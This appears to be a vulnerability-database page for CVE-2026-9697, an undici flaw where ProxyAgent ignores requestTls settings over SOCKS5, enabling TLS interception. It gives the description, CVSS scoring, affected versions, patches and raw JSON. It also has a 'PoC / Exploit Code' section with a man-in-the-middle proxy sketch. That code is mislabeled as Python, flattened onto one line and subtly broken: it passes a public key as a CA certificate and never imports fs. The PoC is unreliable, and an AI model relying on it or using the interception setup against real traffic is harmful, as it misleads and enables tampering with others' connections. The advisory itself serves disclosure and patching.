Security Vulnerability Report
中文
CVE-2026-9697 CVSS 7.4 HIGH

CVE-2026-9697

Published: 2026-06-17 18:18:06
Last Modified: 2026-06-17 18:18:06
Source: ce714d77-add3-4f53-aff5-83d477b104bb

Description

Impact: undici's ProxyAgent silently drops the requestTls option when configured with a SOCKS5 proxy URI (socks5:// or socks://). The target HTTPS connection through the SOCKS5 tunnel falls back to Node's default trust store, ignoring user-configured ca, cert, key, rejectUnauthorized, and servername settings. Applications that pin to an internal or corporate CA via requestTls.ca will, when their proxy URI is SOCKS5, get the default Mozilla CA bundle as the trust anchor instead. Any cert signed by any publicly-trusted CA for the target hostname is accepted, breaking the intended pin and enabling MITM read and tamper of the HTTPS exchange. Affected applications are those that use undici's ProxyAgent (or Socks5ProxyAgent directly) with SOCKS5 AND rely on requestTls for TLS scope restriction. The bug was introduced in undici 7.23.0 when SOCKS5 support was added. Patches: Upgrade to undici v7.28.0 or v8.5.0. Workarounds: No workaround is available within the SOCKS5 path. If a SOCKS5 proxy with TLS scope restriction is required and an upgrade is not yet possible, route the traffic through an HTTP-proxy ProxyAgent instead, where requestTls is honored correctly.

CVSS Details

CVSS Score
7.4
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N

Configurations (Affected Products)

No configuration data available.

undici >= 7.23.0 且 < 7.28.0
undici >= 8.0.0 且 < 8.5.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2026-9697 Proof of Concept // Demonstrates that undici ProxyAgent with SOCKS5 ignores requestTls.ca const { ProxyAgent } = require('undici'); const https = require('https'); const crypto = require('crypto'); // Step 1: Generate a self-signed CA (simulating an internal/corporate CA) // In a real scenario, the application would pin to this CA via requestTls.ca const internalCA = crypto.generateKeyPairSync('rsa', { modulusLength: 2048 }); // Step 2: Configure ProxyAgent with SOCKS5 proxy AND requestTls.ca // The requestTls.ca should restrict TLS to certificates signed by internalCA // But due to CVE-2026-9697, it will be silently dropped const socks5Proxy = 'socks5://127.0.0.1:1080'; // Attacker's SOCKS5 proxy const proxyAgent = new ProxyAgent({ uri: socks5Proxy, requestTls: { ca: internalCA.publicKey.export(), // This will be IGNORED in SOCKS5 path rejectUnauthorized: true, servername: 'internal.example.com' } }); // Step 3: Make an HTTPS request through the SOCKS5 proxy // Expected: Connection should fail because the target cert // is not signed by internalCA // Actual (vulnerable): Connection succeeds because default // Mozilla CA bundle is used instead async function exploit() { try { const response = await fetch('https://internal.example.com/secret', { dispatcher: proxyAgent }); console.log('[VULNERABLE] Request succeeded - requestTls was ignored!'); console.log('MITM attack possible: any publicly-trusted cert accepted'); } catch (err) { console.log('[SAFE] Request failed as expected:', err.message); } } exploit(); // --- Attacker side: SOCKS5 proxy serving a publicly-signed cert --- // The attacker runs a SOCKS5 proxy that intercepts the CONNECT request // and responds with a TLS certificate signed by Let's Encrypt (or any // publicly-trusted CA) for the target domain, bypassing the intended // certificate pinning. const attackerProxy = https.createServer({ // Attacker obtains a valid cert for internal.example.com // from a public CA (e.g., via CT log monitoring or domain control) cert: fs.readFileSync('attacker-cert.pem'), key: fs.readFileSync('attacker-key.pem') }, (req, res) => { // Log and forward/modify the intercepted traffic console.log('Intercepted:', req.url); res.end('tampered data'); }); // socks5-server listens on 127.0.0.1:1080 and tunnels to attackerProxy

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-9697", "sourceIdentifier": "ce714d77-add3-4f53-aff5-83d477b104bb", "published": "2026-06-17T18:18:06.473", "lastModified": "2026-06-17T18:18:06.473", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "Impact:\nundici's ProxyAgent silently drops the requestTls option when configured with a SOCKS5 proxy URI (socks5:// or socks://). The target HTTPS connection through the SOCKS5 tunnel falls back to Node's default trust store, ignoring user-configured ca, cert, key, rejectUnauthorized, and servername settings.\n\nApplications that pin to an internal or corporate CA via requestTls.ca will, when their proxy URI is SOCKS5, get the default Mozilla CA bundle as the trust anchor instead. Any cert signed by any publicly-trusted CA for the target hostname is accepted, breaking the intended pin and enabling MITM read and tamper of the HTTPS exchange.\n\nAffected applications are those that use undici's ProxyAgent (or Socks5ProxyAgent directly) with SOCKS5 AND rely on requestTls for TLS scope restriction. The bug was introduced in undici 7.23.0 when SOCKS5 support was added.\n\nPatches:\nUpgrade to undici v7.28.0 or v8.5.0.\n\nWorkarounds:\nNo workaround is available within the SOCKS5 path. If a SOCKS5 proxy with TLS scope restriction is required and an upgrade is not yet possible, route the traffic through an HTTP-proxy ProxyAgent instead, where requestTls is honored correctly."}], "affected": [{"source": "ce714d77-add3-4f53-aff5-83d477b104bb", "affectedData": [{"vendor": "undici", "product": "undici", "defaultStatus": "unaffected", "packageURL": "pkg:npm/undici", "versions": [{"version": "7.23.0", "lessThan": "7.28.0", "versionType": "semver", "status": "affected"}, {"version": "7.28.0", "versionType": "semver", "status": "unaffected"}, {"version": "8.0.0", "lessThan": "8.5.0", "versionType": "semver", "status": "affected"}, {"version": "8.5.0", "versionType": "semver", "status": "unaffected"}]}]}], "metrics": {"cvssMetricV31": [{"source": "ce714d77-add3-4f53-aff5-83d477b104bb", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N", "baseScore": 7.4, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.2, "impactScore": 5.2}]}, "weaknesses": [{"source": "ce714d77-add3-4f53-aff5-83d477b104bb", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-295"}]}], "references": [{"url": "https://cna.openjsf.org/security-advisories.html", "source": "ce714d77-add3-4f53-aff5-83d477b104bb"}, {"url": "https://github.com/nodejs/undici/security/advisories/GHSA-vmh5-mc38-953g", "source": "ce714d77-add3-4f53-aff5-83d477b104bb"}]}}